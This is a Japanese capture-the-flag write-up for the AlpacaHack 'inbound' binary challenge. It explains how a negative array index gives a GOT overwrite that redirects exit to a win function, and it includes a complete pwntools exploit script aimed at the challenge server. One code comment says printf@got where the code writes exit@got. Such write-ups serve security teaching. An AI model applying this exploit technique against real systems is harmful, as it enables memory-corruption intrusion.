AlpacaHack inbound Writeup (負の数の取り扱い)
AlpacaHack の inbound の Writeup
問題設定
- バイナリとソースコードが配られる
win関数が存在し, 呼び出せればフラグを獲得できそう- ユーザー入力としてインデックスと値を指定すると,
slot配列の対応するインデックスに値を格納するシステム (値は整数のみ)
脆弱性チェック
- pwntools の checksec で確認すると canary が存在せず, Partial RELRO (GOT Overwrite が可能), PIE もない (アドレスが相対化されていない)
- 入力については整数に限定されているが, 負の数は入力として受け付けられるようになっている
方針
- インデックス入力時に負の数を利用して書き込み先のアドレスを GOT にすることで GOT Overwrite を行う
デバッグ
- objdump や pwntools で調べたところ
slot変数のアドレスは 0x404060 となるので, GOT のexitとの差分を調べることで exit からwin関数に飛ばすことができる - 他に
printf関数の GOT を書き換えることも考えたが, 4バイト分しか書き換えることができないため上位ビットがすべて 0 の関数を探す必要があった
Exploit
- 以下のスクリプトでフラグを獲得
from pwn import * context.binary = "./inbound" elf = ELF("./inbound") slot_addr = 0x404060 win_addr = 0x4011d6 printf_addr = elf.got["printf"] exit_addr = elf.got["exit"] slot_exit_offset = (exit_addr - slot_addr) // 4 # divide with the size of int print("offset:", slot_exit_offset) remote_flag = True if remote_flag: host = "34.170.146.252" port = 44002 sh = remote(host, port) else: context.terminal = ["tmux", "splitw", "-h"] sh = process("./inbound") gdb.attach(sh, """ break *main+218 c """) prompt = sh.recvuntil("index:".encode()) print(prompt.decode()) # send offset from slot to printf@got sh.sendline(str(slot_exit_offset).encode()) prompt = sh.recvuntil("value:".encode()) print(prompt.decode()) # overwrite printf@got to win sh.sendline(str(win_addr).encode()) sh.interactive()
- pwntools の基礎的な使い方は 前回記事 参照のこと
学んだこと
- インデックスを指定できるタイプの問題では GOT などより手前のアドレスの書き換えが自由にできる場合がある